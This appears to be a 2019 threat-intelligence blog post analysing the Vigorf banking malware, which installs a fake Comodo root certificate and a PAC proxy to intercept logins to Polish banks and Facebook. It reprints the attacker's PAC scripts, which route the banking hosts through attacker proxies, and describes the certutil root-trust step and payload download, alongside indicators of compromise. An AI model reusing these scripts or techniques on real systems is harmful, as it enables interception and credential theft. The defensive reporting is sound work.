Vigorf Malware Intercepting Facebook and Banking Traffic
LMNTRIX analysts have detected a malware sample targeting users in Poland which ultimately commandeers their traffic when they visit Facebook or a number of Polish banking sites.
Dubbed ‘Vigorf’, it uses advanced evasion techniques to bypass the security controls of the target network. A particularly advanced feature of Vigorf is that it uses a fake Comodo SSL certificate as part of the malware payload installer, as well as a proxy server to bypass network security.
At a high level, the attack chain is as follows:
• The victim receives a spam mail containing an embedded OLE object in a Word document that executes the PowerShell script “installer.ps1”
• The malicious file “pl.exe” is downloaded and executed
• The malware “pl.exe” adds a fake Comodo SSL certificate, saved in the Temp folder, to Root Trust
• A Proxy Auto Configuration (PAC) script is added to System Proxy settings
• When a victim visits any of the sites mentioned in the PAC script, the proxy is enabled, and attackers can snoop the victim’s communications
The sites currently listed in the PAC script are largely banking sites including the Polish banks MBank, GetIn Bank, Alior Bank, and iPKO, as well as the Polish presence of ING.
Beyond banking sites, Facebook’s Polish site is also included in the PAC script.
Whenever a user infected by Vigorf visits any of the above sites, the attackers are able to see all the user’s previously encrypted communications, including log in credentials.
Installer Details – “installer.ps1”
• MD5: 43da184a59baa821ea7c4e25e6fde4d5
• Filename: installer.ps1
The PowerShell-based installer uses a fake Comodo Root Certificate for SSL based connections. This allows the attacker to have ‘man-in-the-middle’ functionality, intercepting traffic without triggering security warnings. This particular trade craft has not been seen in the wild since Operation Emmental in 2014.
Image 1: Fake Comdo SSL Certificate
The PowerShell script contains the certificate in encoded form. It is written to file “_w41415_log.log” inside the user’s Temp folder. It is also added to the Root Trust Store of the infected system using the Windows utility “certutil.exe”.
Image 2: Fake Root Cert used by Vigorf
Image 3: Windows utility “certutil.exe” is used to add store Root
Once the certificate has been added, the installer then connects to an IP to download the malware and save it in the user’s local AppData folder (“C:\Users\<username>\AppData\Local”) with a random file name.
The downloaded malware is then executed as a different process. Initially, the IP address hosting the malware belonged to VULTR, a cloud provider, but at the time of writing this IP was taken offline. As we have seen the attackers recently update their proxy scripts (further below) we believe the malware is being hosted on a new site and the campaign is still active.
Image 4: Malware Payload download URL used in the script
The PowerShell script also references another IP (45[.]55[.]107[.]240), which we have identified as the Command and Control server.
Malware Details – “pl.exe”
• MD5: 4535642aada6b2e12cf9f620113fc377
• Filename: pl.exe
After being downloaded, “pl.exe” again executes “certutil.exe” in order to add the certificate from the file “_w41415_log.log” to the system Root Trust Store – as seen below:
Image 5: Execution of Process “Certutil.exe” to add certificate from “_w41415_log.log”
Vigorf then executes a PAC file which contains a set of rules coded in JavaScript. This allows a web browser to determine whether to send web traffic direct to the Internet or if it should be sent via a proxy server.
PAC files control how a web browser handles HTTP, HTTPS, and FTP traffic. We observed the malware calling out to [http]://spiderbat[.]top/corporate2/index.js=14854f… (below). This is the URL which contains the PAC scripts. During intelligence gathering, we noticed the attackers updating the scripts.
In simple terms, the PAC script contains the list of sites that the attackers can intercept traffic from when an infected user visits them.
Image 6: Malware download “JavaScript” File
While writing this article, we observed that the attackers changed their proxy server, as the previous IP was marked as malicious by OSINT services. This suggests the campaign ongoing. The AutoConfigURL setting points to a web address that contains the below proxy settings – once Vigorf is successfully executed, these settings are enforced for the infected system.
Old PAC script:
1. function FindProxyForURL(url, host) { var proxy = “PROXY coughsmoggyspark.co:8001;”; var hosts = new Array(‘*whoer.net’,’*.ipko.pl*’,’*mbank.pl*’,’login.ingbank.pl*’,’*centrum24.pl*’); for (var i = 0; i < hosts.length; i++) { if (shExpMatch(host, hosts[i])) { return proxy } } return “DIRECT”
2. function FindProxyForURL(url, host) { var proxy = “PROXY 209.250.247.168:8001;”; var hosts = new Array(‘*whoer.net’,’*.ipko.pl*’,’*mbank.pl*’,’login.ingbank.pl*’,’*centrum24.pl*’); for (var i = 0; i < hosts.length; i++) { if (shExpMatch(host, hosts[i])) { return proxy } } return “DIRECT”
New PAC script:
Image 7: New PAC script of the campaign
The above captured code snippet shows the attackers are continuously changing the proxy server but using the same port (8001). Additionally, they’re only enabling this proxy for specific .pl (Poland) top-level domain sites. Also, attackers are continuously adding new domains to apply proxy settings.
Proxy Server:
1. coughsmoggyspark.co
2. 209.250247.168
3. 209.250.251.127
Proxy enabled sites:
1. *.whoer.net
2. *wp.pl
3. *.o2.pl
4. *facebook.pl
5. *ipko.pl*
6. *mbank.pl*
7. *login.ingbank.pl*
8. *centrum24.pl*
9. *secure.getinbank.pl*
10. *aliorbank.pl*
The three proxy servers above are attacker controlled, and represent the infrastructure used to intercept traffic and steal credentials. The 10 proxy-enabled sites are the sites being targeted by the attacker with their PAC script. This means that when a user infected by Vigorf visits any of these sites, the user’s traffic will not communicate directly with those sites but will do so via an attacker-controlled proxy server – which is capable of SSL interception thanks to the attacker having already installed their fake SSL certificate in the Root trust.
Thus, the infected system completely trusts the proxy server and the proxy server is able to decrypt and re-encrypt the packets, giving the attacker man-in-the-middle abilities without raising any browser security alerts.
Figure 8: Attackers are able to intercept traffic between victims and Polish bank mBank
Figure 9: Attackers are able to intercept traffic between victims and Polish ING customers
Below is an illustration to help visualise how the traffic is intercepted. Once a victim visits one of the 10 proxy-enable sites, when they enter their log in details, the traffic is sent to the proxy server, decrypted and collected by the attacker, before being re-encrypted and sent to site. The attacker now has the victim’s log in details and can use them at will.
Image 10: Packet Flow illustration of traffic interception used by threat actors.
Indicators of Compromise
MD5 | 43da184a59baa821ea7c4e25e6fde4d5 | installer.ps1 |
SHA1 | 763150139510937b182e51f72ccbe28a1934c4cc | installer.ps1 |
SHA256 | f91927897b5aed4c3454eca429bd2cb416bdd6deb4f80c68b420c8699b6c63fa | installer.ps1 |
IPV4 | 140[.]82[.]33[.]56 | Malware host |
IPV4 | 45[.]55[.]107[.]240 | CNC |
MD5 | 80A3A7F3DA32CBF6E324B26AF7D2EEFF | _w41415_log.log |
DOMAIN | hxxp://spiderbat[.]top/corporate2/index.js | PAC URL |
DOMAIN | hxxp://glibitchyard[.]co/corporate2/index.js | PAC URL |
DOMAIN | hxxp://spiderbat[.]top/corporate2/ | PAC URL |
DOMAIN | coughsmoggyspark[.]co | Proxy Server |
IPV4 | 209[.]250[.]247[.]168 | Proxy Server |
IPV4 | 209[.]250[.]251[.]127 | Proxy Server |
Mitigation
Users are encouraged to update existing security solutions with the IOCs listed above. As always, exercise caution when dealing with emails from unknown sources and do not click on any links or open attachment from emails that are untrusted.
On 2019-03-04